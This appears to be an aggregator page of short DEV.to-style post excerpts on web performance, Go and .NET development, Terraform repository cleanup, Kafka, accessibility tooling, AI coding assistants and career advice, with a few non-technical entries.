    Reading time: 9 minutes PageSpeed optimization isn't new. Google released Lighthouse in 2016, and performance best practices have been documented for years. You might expect that by 2025, most professional websites would score well. The opposite is true. Modern websites are often slower than sites built five years ago. Despite faster networks and more powerful devices, the average website in 2025 is heavier, more complex, and performs worse than its predecessors. Why? The complexity creep: Modern frameworks ship more JavaScript by default Analytics, marketing pixels, and chat widgets accumulate over time High-resolution images and videos are now standard Third-party integrations (payment processors, CRMs, booking systems) each add overhead "It works on my machine" testing misses real-world…  ( 14 min )
    Building a Simple Ticket Tracker CLI in Go
    A lightweight, command-line alternative to complex ticketing systems. Using golang and cobra-cli, I built a simple command-line interface for managing support tickets. Tickets are stored locally in a CSV file. As developers, we often find ourselves juggling multiple tasks, bugs, and feature requests. While tools like Jira, Trello, or GitHub Issues are powerful, sometimes you just need something simple, fast, and local to track your daily work without leaving the terminal. That's why I built Ticket CLI—a simple command-line tool written in Go to track daily tickets and store them in a CSV file. No servers, no databases, just a binary and a text file. For this project, I choose: Go: For its speed, simplicity, and ability to compile into a single binary. Cobra: The industry standard for bui…  ( 8 min )
    From Prototype to Production: How to Engineer Reliable LLM Systems
    Over the past two years, large language models have moved from research labs to real-world products at an incredible pace. What began as a single API call quickly evolves into a distributed system touching compute, networking, storage, monitoring, and user experience. Teams soon realize that LLM engineering is not prompt engineering — it’s infrastructure engineering with new constraints. Traditional software systems are built around predictable logic and deterministic flows. LLM applications are different in four ways: Even a small prompt can require billions of GPU operations. Latency varies dramatically based on: token length (prompt + output) GPU generation batching efficiency model architecture (transformer vs. MoE) As a result, you must design for latency spikes, not averages. The sam…  ( 9 min )
    🚀 Integrating API Gateway with Private ALB: The New, Simpler, and More Scalable Way
    🧩 The Problem When you work with microservices in AWS (especially in ECS, EKS, or internal applications inside a VPC), sooner or later you need to expose a REST endpoint through Amazon API Gateway, but without making your backend public. For many years, the only “official” way to integrate API Gateway (REST) with a private Application Load Balancer (ALB) was by placing a Network Load Balancer (NLB) in the middle. This created three common issues in real-world projects: More infrastructure than necessary (ALB + NLB just to create a bridge). Higher latency because traffic needed to make an extra hop. More cost and operational overhead: two load balancers to monitor, scale, and secure. For students or small teams, this architecture was confusing and far from intuitive: “Why do I need an NL…  ( 8 min )
    Am I Doing This Right? A Solo Engineer's Open Invitation
    I'm a senior software engineer with almost six years of experience, mostly in Rails and React. For the past several years, I've been the only engineer at my company. I've worked on teams before. I know the value of code review, of someone asking "why not just...?" before you're three layers deep in a bad abstraction. I miss that. So I'm trying to build it for myself, here. This series is called "Am I Doing This Right?" and the premise is simple: I'll walk through something I've built or a decision I've made, explain my reasoning, and invite you to weigh in. Tell me how your team does it. Tell me I'm overcomplicating it. Tell me about the footgun I haven't noticed yet. I'm not looking for validation. I'm looking for the perspective that comes from working with other engineers—something I don't get day-to-day. First up: a GitHub Actions workflow that posts to Slack with recent commits and links to SOPs whenever we deploy. It's a small thing, but it touches CI/CD, team communication, and documentation habits, so there's plenty to pick apart.  ( 6 min )
    New User Defined Increment and decrement in C# 14
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    How to connect the Next.js MCP server to VS Code Copilot Chat
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    [Boost]
    The AI Industry Has a Truth Problem: Here’s How I See It Jaideep Parashar ・ Nov 22 #ai #discuss #learning #career  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
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    React Native Isn't React: Why Web Developers Struggle with Mobile
    The "write once, run anywhere" promise? It only works in ONE direction. And web developers keep getting the short end of the stick. I spent two months learning React Native, coming from a solid React background. Beyond the learning curve, there's a fundamental architectural asymmetry in cross-platform development. Flutter developers can build web apps with one command: flutter build web React developers trying to go mobile? npm install react-native # Welcome to a parallel universe (Hell) This isn't about tooling. It's about fundamental architecture. React Native isn't "React for mobile." It's React-flavored syntax wrapped around an entirely different system: Different components: vs , vs Different styling: StyleSheet objects (not CSS) Different everything: Met…  ( 8 min )
    Robotino View - Tutorial Series
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    Why Drawing Became My Steady Ground Again
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    The Imminent Threat of an Atomic Catastrophe: Understanding and Preparing for the Worst
    The specter of an atomic catastrophe looms large over our modern world. Despite significant strides in nuclear disarmament and non-proliferation, the risks associated with nuclear weapons and nuclear power remain high. The potential for an atomic event, whether through deliberate use of nuclear weapons, an accident at a nuclear power plant, or a terrorist attack, poses a severe threat to global security and stability. This article explores the various scenarios that could lead to an atomic catastrophe and discusses the measures needed to prevent such an event. Scenarios Leading to an Atomic Catastrophe Nuclear Warfare The threat of nuclear warfare, while reduced since the Cold War, still persists. Several countries possess nuclear arsenals capable of causing unprecedented destruction. Geo…  ( 8 min )
    How Packaging Shapes a Binary from Build to Delivery
    When we talk about software distribution, the conversation usually starts and ends with binaries. We download them, install them, and run them, and the process feels simple enough. Yet a binary that works on your system is the result of many decisions that developers and packagers quietly make behind the scenes. These decisions determine not only where the binary runs, but how its supporting files are found, resolved, and loaded. This article looks at the parts of binary distribution that developers often overlook. It explores how binaries are made globally accessible, how tools ensure the right files exist at runtime, and why these details matter more than most people think. When a binary is compiled, it contains machine instructions for a specific architecture and often for a specific op…  ( 9 min )
    Building a Weather-Aware Activity Tool with OpenWeather & Mapbox
    Loom I recently put together a small project to solve a recurring problem in my daily routine: figuring out whether the weather is actually good enough for outdoor activities like walking or biking. I noticed that looking at the temperature alone wasn’t giving me the full picture, so I built something more visual and informative. Weather affects outdoor plans in more ways than one—wind, precipitation, humidity, and even how the ground feels when you’re on wheels. I wanted a quick way to assess overall conditions without having to mentally piece together a dozen metrics from different apps. The heart of the project is a globe interface that displays weather data across different cities. Each location shows key details pulled from OpenWeather, but I also added a custom metric I call the “tire rating.” OpenWeather API → for real-time weather metrics Mapbox → for the interactive 3D globe Custom logic → for calculating the tire rating In the video, I walk through how to set everything up with your own API keys so you can experiment with it locally or build on top of it. The tool is still evolving, and there’s plenty of room for creative extensions—notifications, historical comparisons, activity presets, or even AI-powered suggestions. I’d love to hear your thoughts! If you try it out or have ideas for improvements, feel free to share. Your feedback can help shape the next version. Tool: https://weathertier.lovable.app/  ( 7 min )
    How to Find a Job as a Developer and What to Consider During an Interview
    Finding a job as a developer has become both easier and more challenging at the same time. Easier because companies everywhere now rely on software, which creates constant demand. Challenging because expectations have risen and the hiring process has grown more complex. From preparing your skills to navigating interviews, the journey requires a mix of strategy, confidence, and awareness of what companies actually look for in a modern developer. The first and most important step is to understand your own direction. Development is a broad field, and clarity helps you stand out. You should know whether you want to work in front end, back end, full stack, mobile, DevOps, machine learning, or another niche. This self awareness shapes your portfolio, your learning path, and the type of companie…  ( 8 min )
    Andrew Huang: Making a track with the dial-up modem sound
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    Real Blazor WebAssembly Production Pitfalls
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less sees CinemaSins hitting the yellow brick road to pick apart the 1978 film’s goofs, oddball fashion, and questionable musical choices—especially timely with Wicked back in theaters. Plus, they sneak in plugs for their website, polls, Patreon, and a host of social channels (YouTube, Twitter, Instagram, TikTok, Discord, Reddit) while giving shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel. Watch on YouTube  ( 6 min )
    How Machines Learned to Write Software in a Human Like Way
    AI coding has moved from a futuristic idea to an everyday tool that quietly reshapes how developers work. What once felt like a fantasy, the idea of a machine understanding code and writing it almost like a human, has become a practical reality in just a few years. The change did not happen overnight. It grew from a long journey of research, experimentation, and the ambition to make programming more accessible and more powerful. The story begins with early attempts to teach computers how to understand patterns in text. At first, these systems could only autocomplete a few words in a predictable way. They had no understanding of logic, structure, or intention. Developers had to shape every response with strict rules. Coding still depended entirely on human decision making, and AI acted mor…  ( 8 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Why Financial Sentiment Analysis Failed Without Explainability (And How I Fixed It)
    Building a Production-Ready NLP System That Traders Actually Trust A trader approaches you with a question: "Your model says this stock is bearish based on the news. But why? What words triggered that prediction?" You pause. Your 86% accurate sentiment classifier suddenly feels useless because you can't explain it. This is the hidden crisis in financial AI. Accuracy without explainability is a liability, not an asset. I learned this the hard way while building a financial sentiment analysis system for Lloyds, IAG, and Vodafone. The project forced me to solve a problem that most data scientists ignore until it's too late: how do you make a black-box NLP model trustworthy enough for high-stakes trading decisions? When I started, the goal seemed straightforward: build a sentiment classifier t…  ( 10 min )
    Error común en PLD: Reportes de operaciones inusuales y rele
    Error común en PLD: Reportes de operaciones inusuales y relevantes tardíos Muchas organizaciones enfrentan desafíos en la detección temprana de operaciones sospechosas, dando lugar a retrasos en la presentación de reportes de operaciones inusuales y relevantes. Esto puede tener consecuencias graves, como la pérdida de confianza de los clientes y la exposición a sanciones y multas. Corrección: Implementación de un sistema de monitoreo en tiempo real Una posible corrección a este error es la implementación de un sistema de monitoreo en tiempo real que utilice técnicas de Inteligencia Artificial (IA) y Aprendizaje Automático (ML) para identificar patrones anormales y alertar a los responsables de cumplimiento de manera oportuna. Por ejemplo, TarantulaHawk.ai, una plataforma de IA AML SaaS, ofrece herramientas de monitoreo en tiempo real que pueden identificar operaciones sospechosas de manera efectiva y eficiente. Propuesta de acciones concretas: Implementar un sistema de monitoreo en tiempo real que utilice técnicas de IA y ML para identificar patrones anormales en las transacciones. Establecer protocolos claros para la notificación de reportes de operaciones inusuales y relevantes a los responsables de cumplimiento. Realizar capacitación y talleres de actualización para los empleados sobre la implementación de los nuevos sistemas y protocolos. Referencia breve y ética a TarantulaHawk.ai: TarantulaHawk.ai es una plataforma de IA AML SaaS que ofrece herramientas de monitoreo en tiempo real para la detección de operaciones sospechosas. Su enfoque está enfocado en la eficiencia y la precisión, ayudando a las organizaciones a cumpla con las regulaciones y a proteger a sus clientes. Publicado automáticamente  ( 7 min )
    **Errores comunes en PLD: segmentación deficiente**
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    Unlock the Power of Lookalike Modeling in Advertisements
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    This component was built as a small experiment in combining a complete game-tree search with a reactive user interface. Tic-tac-toe is simple enough that every possible board state can be explored, so the minimax algorithm fits naturally. The intention was to keep the logic straightforward and self-contained, while letting LemonadeJS handle UI updates without additional abstractions or complex lifecycle handling. I have chosen to keep minimax free of shared mutable state and avoid mutating the board during evaluation. Many examples modify the board in place and then undo moves later, but this easily introduces subtle bugs, especially once each cell starts holding more properties. Since the tic-tac-toe board is only nine cells, cloning before each simulated move is cheap and keeps each bran…  ( 9 min )
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    Network traffic analysis is a superpower. Whether you are debugging a distributed system, reverse-engineering a legacy protocol, or performing security auditing, you usually end up opening Wireshark. But what if you want to automate that detection? What if you need to trigger a specific action the moment a specific text sequence—like a specific username, a specialized API key, or a magic header—hits the network card? Writing a kernel-level driver to capture packets is painful and dangerous (one bug = Blue Screen of Death). Using raw socket libraries (like libpcap) is powerful but can be a nightmare regarding cross-platform compilation (Windows headers vs. Linux headers). In this article, I’ll explain how I built a Rust-based CLI tool that wraps the power of TShark (Wireshark) to monitor li…  ( 11 min )
    VolBack : Backup tool
    Intro VolBack? UT). Imagine we have a CRM, which has a lifetime of 3 days. Day 1. We added 100 mb Day 2. We added 50 mb Day 3. We added 30 mb What does it mean? Backup for day 1: 100 mb Backup for day 2: 100 mb + 50 mb =150 MB Backup for day 3: 150 mb + 30 mb =180 MB Nice! So the total backup volume will be: 100 mb + 150 mb + 180 mb =430 MB. To handle this calculations I find a mathematical formula for this process. Sn=n⋅x1+∑i=1n−1(n−i)∗ai S_n = n \cdot x_1 + \sum_{i=1}^{n-1} (n - i) * a_i Sn​=n⋅x1​+∑i=1n−1​(n−i)∗ai​ Where: n: quantity of UT (second, hour, day, etc) x1x_1 x1​ : initial value of volume at first UT a: array of a values (additions in volume at each IT) Development I will expand this method in case when we don't now additions' values. Watch the repository https://github.com/ja-proger/VolBack. Now available on Swift Write down any ideas in the comments below!  ( 6 min )
    Build a Docusaurus-like Site with FastAPI: Step 6 - Sidebar Generation
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    A Python Tool That Simplifies Access to THE World University Rankings Data
    A practical solution for competitive analysis in younger universities For many young universities, strategic goals include positioning themselves in the THE World University Rankings, understanding their competitors, and monitoring changes over the years. However, obtaining structured ranking data is not as easy as it seems. This project was created to solve exactly that problem: to retrieve THE ranking data via an API and provide it in a clean, integrable format for institutional systems. Academics Administrative research staff Strategy and quality offices Higher-education data analysts 🔍 Technical Overview Python-based tool Fetches data from the backend API of THE Outputs JSON files Modular structure ⚙️ Installation git clone https://github.com/c3nk/THE-World-University-Rankings cd THE-World-University-Rankings pip install -r requirements.txt python main.py No charts or dashboards No automated analytics No interpretation of THE data 🏁 Conclusion With this tool, accessing THE data becomes: One-command simple Clean and structured Ready for integration Repo: https://github.com/c3nk/THE-World-University-Rankings  ( 6 min )
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    How I Fixed the “Large Files Detected” Error When Pushing a Terraform Project to GitHub
    When working with Terraform, you may run into this GitHub error: This error is common among Terraform beginners and even experienced engineers because of how Terraform organizes provider binaries. GitHub rejects any file larger than 100MB, and Terraform providers typically weigh between 200MB–500MB. In this article, I’ll walk you through exactly why it happens, how I fixed it, and how you can prevent it from ever happening again. Terraform downloads provider binaries into: .terraform/ If you run: git add . before adding .terraform to .gitignore, Git starts tracking these massive files. Even if you delete the folder later, the large files remain in your Git history, and GitHub scans the entire history during a push. Then: git add .gitignore git commit -m "Add Terraform ignores files" Even after ignoring, GitHub still rejects the push because the massive files are stored in old commits. To fix this, we use a powerful tool: git-filter-repo. git filter-repo is a powerful and versatile tool for rewriting Git repository history. It is a Python script designed to be a faster, more capable, and more user-friendly alternative to git filter-branch To install the git filter-repo on my machine (wsl on windows) I used the following commands sudo apt update sudo apt install git-filter-repo run: git filter-repo --version Then clean your history: git filter-repo --force --path .terraform/ --invert-paths This removes all .terraform files from all past commits. The commit history has changed, you need to force push to upload the cleaned repository to Github without the large files git push --force This takes care of the large file error. Never commit: .terraform/ terraform.tfstate terraform.tfstate.backup provider binaries This error is very common for Terraform beginners and even experienced engineers. Ignore .terraform Clean the Git history with git filter-repo Force-push the cleaned repository Taking the time to clean your repo ensures you maintain a lightweight, secure, and professional Terraform project.  ( 7 min )
    Pasos para Crear una Nueva Instancia de SQL Server
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    Day F5: The Day I Lost
    I'm not gonna sugarcoat this. Today was bad. I didn't study. At all. DBMS exam is Monday. Two full weeks of exams starting. And I spent today doing absolutely nothing productive. Not because I was resting. Not because I was strategically taking a break. I just... lost it. Had a full breakdown today. The real kind. The kind where you're crying and you keep checking to make sure nobody's walking by. Where you're wiping your face and looking in the mirror to catch the tears you missed. Where you hate that one drop still sitting there because it proves you're falling apart. Hit the gym trying to fix it. Couldn't lift what I normally lift. Hated myself for being weak. Left feeling worse than when I went in. And no—this isn't about the relationship stuff from Day F0. That's done. This is somethi…  ( 7 min )
    Andrew Huang: Making a track with the dial-up modem sound
    Andrew Huang’s latest video dives into how he turns the iconic dial-up modem screech into a full-blown music track, sharing his step-by-step process and creative hacks. He’s got a ton of extras over on Patreon—sample packs, project files and more—plus an Ableton plugin, a book, an online course and a buzzing Discord community for fellow beatmakers. Along the way he drops links to all his socials and streaming profiles (Spotify, Apple, Bandcamp, Tidal) and even lists his favorite software, interfaces, modular gear and headphones via affiliate links—so you can nerd out on the exact tools he swears by. Watch on YouTube  ( 6 min )
    Message Throttling with Apache Camel Master Component
    The Problem When managing events, it's common to encounter a rapid succession of events within a brief period. For instance, within an application driven by events, creating an entity can trigger multiple events like EntityAdded, EntityChanged, SubEntityAdded, etc. However, if the primary objective is to monitor changes in a specific entity item, processing all these events to dispatch a notification or outbound message to downstream systems might be unnecessary. Based on the problem described above, we are often interested in only knowing that an update has occurred at a certain moment, rather than communicating every single change. This can be effectively managed within a short predefined timeframe, typically 5 to 10 seconds. This pattern is particularly common when dealing with primar…  ( 7 min )
    Clean Architecture in .NET — From Pretty Diagrams to Production‑Ready Code
    If you’ve been scrolling through Clean Architecture diagrams like the ones above—colorful boxes for Presentation, Domain, Data—and thinking: “OK, but what does this look like in real .NET code?” …this post is for you. We’ll take the classic Clean Architecture ideas (layers, use cases, entities, repositories) and map them directly into a modern .NET solution that you can actually ship. You’ll learn: How to map the three core layers (Presentation, Domain, Data) into .NET projects How to structure Entities, Use Cases, and Repositories in C# How the Dependency Rule works in practice with DI How the call flow looks from Controller → Use Case → Repository → Data Source How to keep your architecture testable, maintainable, and framework‑independent 1. Clean Architecture in One Sen…  ( 12 min )
    Comment Blob IA: l’interconnexion Nvidia-OpenAI-Google-Microsoft change tout?
    Blob IA: l’écosystème connecté des titans de l’intelligence artificielle Blob IA: l’interconnexion des géants Nvidia, OpenAI, Google et Microsoft illustre la vitesse à laquelle les infrastructures et les algorithmes se lient entre eux. Ce concept décrit un réseau d’interdépendances technologiques où les puces, les centres de données et les plateformes cloud (nuage informatique) forment une unité presque organique. Il attire l’attention car ces acteurs concentrent le compute et les talents, et donc orientent l’innovation. Centralisation des centres de données et des puces, donc dépendance infrastructurelle. Flux de modèles, de données et de contrats commerciaux entre les entreprises majeures. Effets en cascade sur la concurrence, la souveraineté et la sécurité. De plus, Nvidia fournit le …  ( 10 min )
    7 TypeScript Tricks That Feel Illegal to Use
    If you’re reading this, you likely know your way around interface, type, and generics. You probably have strict mode enabled. But TypeScript is capable of much more than just catching typos or ensuring a prop exists. When used at a "pro" level, TypeScript stops being a linter and starts being a documentation engine and an architectural guardrail. Sometimes, you even have to abuse the type system to get the safety you really want. Here are 7 patterns—ranging from modern best practices to "dark arts" hacks—to elevate your TypeScript mastery. satisfies Operator Introduced in TypeScript 4.9, satisfies is a game-changer. It allows you to validate that an expression matches a type without changing the resulting type of that expression. When you use a standard type annotation (e.g., const confi…  ( 9 min )
    Black Friday Web Hosting Deals 2025 – Grab Up to 98% Off on the Best Hosts (Live Offers)
    Welcome to my Best Black Friday / Cyber Monday Web Hosting Deals 2025 article. Black Friday is the single best time of the year to start a new website or switch to a faster, more powerful web host. With discounts reaching up to an astonishing 98% off, hosting providers offer their lowest prices of the year. If you’ve been waiting for the right moment to secure premium hosting at a rock-bottom rate, your moment is now. We’ve tracked down the most stunning Black Friday web hosting deals available, featuring massive savings and main features for every type of website owner, from beginners to high-traffic enterprises. Let me share what those deals are. Here are the top web hosting deals you cannot afford to miss this Black Friday and Cyber Monday: Here are some of the top-tier deals we highly …  ( 11 min )
    Debloat OPPO A15s
    This is the list of packages that you can safely remove. Step 1: setup the debloater https://beebom.com/how-remove-bloatware-android-phone Step 2: select and remove the following packages com.android.fmradio  ( 6 min )
    Stop Writing Analytics Code. Start Defining It
    Type-safe analytics, automated documentation, and data integrity-from a single source of truth. As a Developer who has seen the inside of massive codebases, I've witnessed the same tragedy play out in almost every product team. It starts innocently. A Product Manager asks for a new event: user_clicked_button. analytics.logEvent('user_clicked_button'). analytics.logEvent('UserClickedButton'). button_id parameter is a string in iOS but an integer in Android. Six months later, your dashboard is a graveyard of untrustworthy data. We treat our production code with rigor-CI/CD, type safety, code reviews. Yet we treat our analytics-the very data that drives our business decisions-like a "stringly typed" afterthought. It's time to stop writing analytics code by hand. Meet analytics_gen, a tool des…  ( 8 min )
    PulseGuard: Real-time Heart Monitoring with eBPF & Cilium
    **What if we could detect heart attacks early — not just through ​** PulseGuard: Real-time Heart Monitoring with eBPF & Cilium​​ PulseGuard demonstrates how eBPF-based observability can be used for real-time health monitoring, detecting anomalies (like abnormal pulse), and sending alerts.​​ PulseGuard simulates continuous heart rate monitoring, detects irregular pulse patterns, and integrates with eBPF and Cilium to show how system-level observability tools can detect, trace, and alert health-related anomalies in real-time.​ ​What is eBPF & Cilium​​? Cilium is an open-source, cloud-native networking, security, and observability solution specifically designed for containerized workloads, particularly in Kubernetes environments. It leverages the power of eBPF to provide secure and high-perfo…  ( 8 min )
    What I Learned From Photographing the Readers Who Walk Into My Shop
    I’ve run my little bookstore for almost seventeen years now, and the funny thing is, it still surprises me every morning. The bell above the door gives the same soft ring. The windows gather the same dust. The paperbacks on the front table lean the same way they always have. But somehow, the place feels different every day, like the stories inside it breathe along with the people who wander in. For a long time, I thought the books were the most important part of the shop. The old classics. The cozy mysteries with bright covers. The memoirs that make people cry. The hardcovers that smell new and a little like glue. I loved them all. But a few years ago, something changed in the way I looked at my shop. It started with my camera. Nothing fancy. Just a small one I used for taking pictures of …  ( 11 min )
    SEO & OG Analyzer whit AI
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. I built the SEO & OG Analyzer AI, a comprehensive web tool that helps developers and marketers optimize their websites instantly. Users simply paste a URL, and the app uses Google Gemini to simulate a crawl, analyzing the page's content to generate: Open Graph Previews: A visual simulation of how the link looks on social media (Facebook/LinkedIn). SEO Audit: An analysis of titles, descriptions, headings, and missing tags with AI-suggested improvements. Structured Data: Automatically generated, valid JSON-LD schemas (Organization, Article, etc.). Ready-to-use Code: HTML meta tags and JSON scripts formatted for copy-pasting. I utilized the Gemini API (gemini-2.5-flash) with the Google Search Tool (googleSea…  ( 7 min )
    A Developer’s Guide to Apache Kafka: From Basics to Architecture in One Read
    In today’s world, applications are no longer simple systems with a single database and a few users. Modern platforms like Uber, Netflix, Zomato, Amazon, Instagram, and even banking apps generate millions of events every second—a ride request, a payment update, a login attempt, a notification, a cart update, a video play, and so on. Handling this constant flow of data in real time is no longer a luxury—it’s a necessity. They are: slow tightly coupled difficult to scale easily break under heavy load. To solve these modern data challenges, companies use Apache Kafka, a distributed event streaming platform designed to handle massive volumes of real-time data with high speed, fault tolerance, and scalability. This blog will walk you through Kafka in the simplest possible way—from beginner conce…  ( 10 min )
    Free Online Accessibility Scanner — Audit Any Webpage Instantly
    🚀 New Release: Free Online Accessibility Scanner — Audit Any Webpage Instantly Making the web accessible shouldn’t be hard — so I built a tool that makes it easier. I just launched a Free Online Accessibility Scanner on FrontendTools.tech, powered by the industry-standard axe-core engine. You can use it to audit any public webpage for accessibility issues and get actionable guidance on how to fix them. 🔗 Try it here: https://www.frontendtools.tech/tools/accessibility-scanner This scanner performs a deep accessibility audit and highlights issues related to: WCAG 2.1 & 2.2 compliance (A, AA, AAA) Color contrast ARIA attributes Alt text Form labels Keyboard accessibility Semantic HTML usage And more… Everything runs in the cloud — no installs required. Covers major WCAG guidelines so you can ensure your page meets accessibility standards. Built on axe-core, ensuring reliable detection with minimal false positives. For every issue, the tool provides: Explanation Code snippet fixes Linked WCAG criteria So you learn and improve instantly. Quickly see high-impact violations and prioritize what truly matters. Download your audit in: JSON CSV Perfect for documentation, clients, or team workflows. Accessibility is often overlooked because many developers: Don’t know where to start Don’t have easy tools Aren’t sure how to fix what they find This scanner solves all three. My goal with FrontendTools.tech is to keep releasing tools that make frontend development faster, easier, and more inclusive. 🔗 Test your site: https://www.frontendtools.tech/tools/accessibility-scanner Would love your feedback, suggestions, or ideas for what to build next!  ( 7 min )
    Análise de Vetores de Ataque em Arquitetura de Aplicações Web
    Resumo Este texto tem como proposta uma análise aprofundada sobre a segurança de aplicações web, mas de uma perspectiva ofensiva. Através da arquitetura de três camadas (Apresentação, Aplicação e Dados), comumente conhecido como Three Tier Architecture, detalhando vetores de ataques específicos para cada camada com exemplos de código práticos. Além disso, também fornecer uma investigação de táticas, técnicas e procedimentos (TTPs) de grupos de Ameaça Persistente Avançada (APT), como o APT35, esmiuçando tecnicamente um de seus ataques com exemplos de payloads e comandos. O texto também explora a importância da análise a partir do OWASP Top 10 que lista os dez riscos de segurança mais críticos e comuns em aplicações web. O objetivo é permitir uma visão técnica e estruturada, para aspirant…  ( 18 min )
    3 Realistic Paths Into Data Science (And How To Choose Yours)
    Data Science is crowded, competitive, and full of noise. But it is still one of the few fields where a beginner can break in within a year if they pick the right entry path. The problem is simple: every job wants experience, but you need the job to get the experience. The solution is understanding which type of beginner you are and following the path that matches your background, not the internet’s generic advice. Below are the three groups most newcomers fall into, how to identify your group, and the fastest way to move from beginner to employable. If you already come from mathematics, physics, engineering, economics, or computer science, you have a head start. You understand quantitative thinking, you can learn models faster, and you already know how to deal with complex systems. Your bi…  ( 8 min )
    Post-Holiday Retargeting Playbook: Converting December Browsers into January Buyers
    Here's what happens every January: marketing teams gather around conference tables, stare at their December traffic numbers, and wonder where all those visitors went. The answer? They're still there. They're just broke, overwhelmed, and ignoring your generic "New Year Sale" emails along with everyone else's. I've watched this pattern repeat for years. Brands spend thousands driving holiday traffic, then act surprised when those same visitors don't immediately convert in January. The opportunity isn't gone—it's just shifted. And most marketers are approaching it completely wrong. The data tells a clear story: 68% of holiday browsers don't purchase during their first visit. They're researching, comparing, waiting. Come January, they've got fresh budgets (personal and professional), tax refun…  ( 13 min )
    AI Coding Assistants Battle 2025: GitHub Copilot's Raptor Mini vs Claude Code vs Cursor Composer
    The AI coding assistant landscape just got a lot more interesting. In November 2024, three major players dropped game-changing updates that fundamentally reshape how we code with AI. Let's cut through the hype and see what actually matters. What is it? A lightweight, experimental model fine-tuned from GPT-5-mini, now rolling out to Free, Pro, and Pro+ users in VS Code. The Big Deal: 264k context window (yes, you read that right) 64k output capacity — massive for a "mini" model 4x faster than comparable intelligence models Built specifically for code-heavy interactions, not conversational fluff Best For: Multi-file edits across your entire workspace Low-latency tasks where speed matters Tool calling and MCP integration Quick refactors and fixes Reality Check: fast, not profound. Think of i…  ( 10 min )
    How I Ended Up Building With GitHub Copilot (the Remote One) And Why It Still Feels Kinda Wild
    A few months back, I wasn’t even that into AI. I thought it was just another tech phase that would fade, like fidget spinners or those standing desks everyone bought and now use as laundry racks. But then I started looking for something stupidly specific - a way to work on my side project without sitting at my computer. Like, actually making progress while waiting in a shop line or sitting on the bus thinking about some random UI tweak. I wanted something I could talk to, drop ideas into, and it would just… do it. Quietly. No drama. No "permission to run rm -rf?" nonsense. And then I found GitHub Copilot - the remote version, the one with the web UI that actually opens PRs for you. I swear, I don’t know what GitHub people did here, but this thing is on a different wavelength. And somehow i…  ( 9 min )
    🚀 Learn to Code Like a Genius (and Not Waste Time) — A Practical Guide for Real Beginners
    If you’re learning to code in 2025, you’ve probably felt this: Too many languages Let’s go. 👇 🧠 1. Learn How to Learn (Your Real Superpower) Most beginners think coding is about memorizing syntax. It isn’t. Google well Stop chasing languages. Start building the mindset. 🎯 2. Define Your WHAT and WHY Before choosing a language or tutorial, ask yourself: What do you want to build? This decides your path. Websites → HTML + CSS + JavaScript Most beginners skip this step — and get lost. 🧩 3. Pick Your First Language (Without Overthinking) There’s no “best” language. There’s only the best for your goal. Pick one, stick to it for a few months, and ignore everything else. 📚 4. _ Use High-Quality Resources (and Avoid Tutorial Hell)_ Tutorials are great… until you watch 40 hours and still can’t build a simple project. FreeCodeCamp That’s where real skills form. 🛠 5. Project-Based Learning (Your Cheat Code) You don’t level up by watching tutorials. Start small: Example: Built a calculator? Add scientific functions. This transforms you from “learner” to “creator.” 🤝 6. Share & Collaborate (The Fastest Way to Grow) You learn faster when others see your work. Post your progress on: DEV.to You’ll get feedback, new ideas, and motivation from others building alongside you. You don’t need to be perfect — you just need to show up. 💡 Bonus: Great Project Repositories These two GitHub repos can keep you busy for months: Build Your Own X — recreate famous tools Learn X by Doing Y — Project-based guides for every tech Endless inspiration for projects. 🔥 Final Thoughts Learning to code effectively is simple: Know what you want to build Pick one language There is no perfect path. Have fun building things you actually care about. Everything else will follow.  ( 8 min )
    Modern Web Developer
    Building Modern Web Apps with Next.js and React – A Portfolio Showcase Hi Dev.to community! 👋 I’m Muhammad Shehzad, a Full-Stack Developer passionate about building modern, scalable web applications. Over the years, I’ve worked on various projects using Next.js, React.js, Node.js, and WordPress, focusing on performance, clean architecture, and seamless user experiences. In this post, I want to share some insights from my recent projects and invite you to explore my portfolio: Next.js & React.js: Fast, SEO-friendly web applications Node.js & Express: Robust backend APIs and automation tools WordPress Customization: Plugins and themes built from scratch Chrome Extensions: Custom tools to enhance productivity 💡 Pro Tip: When building web apps, always focus on clarity, scalability, and user experience. It’s what separates good apps from great ones! If you’re interested in seeing my projects or collaborating, feel free to check out my portfolio: Muhammad Shehzad I’d love to hear your thoughts and connect with fellow developers here on Dev.to! #ReactJS #NextJS #FullStack #WebDevelopment #Portfolio #Developer  ( 6 min )
    Why Django + Tailwind + Cursor AI is My Go-To Stack for Building MVPs Fast
    After helping folks build MVPs out of their napkin sketches, I keep coming back to Django + Tailwind + Cursor AI. Here's why this combo works so well for getting products to market quickly. Django gives you everything out of the box. Authentication, admin panel, ORM, form handling, security features - it's all there. While other frameworks make you piece together solutions, Django lets you focus on building your actual product. For early-stage startups burning through runway, this matters. Tailwind keeps the frontend moving fast. No context switching between HTML and CSS files. No fighting with Bootstrap's opinions. You style components right in your templates and move on. The utility-first approach means you're not spending hours naming CSS classes or organizing stylesheets. Cursor AI accelerates everything. Honestly, this has been a game-changer. Need to generate a Django model with all the right field types? Cursor writes it. Building a form with validation? Done in seconds. It understands Django conventions and Tailwind classes, so you're not just getting generic code - you're getting code that fits your stack. What used to take hours now takes minutes. Obvioiusly, you will need to have a half way decent understanding of what its doing - else it might take you for a ride ever so often. The combination just flows. Django templates + Tailwind utilities + AI assistance = unprecedented speed. Need a dashboard? Build it in a day. User authentication flow? Done by lunch. Cursor handles the boilerplate while you focus on business logic. If you're sitting on a product idea or helping someone build theirs, this stack removes so many obstacles. You spend time solving business 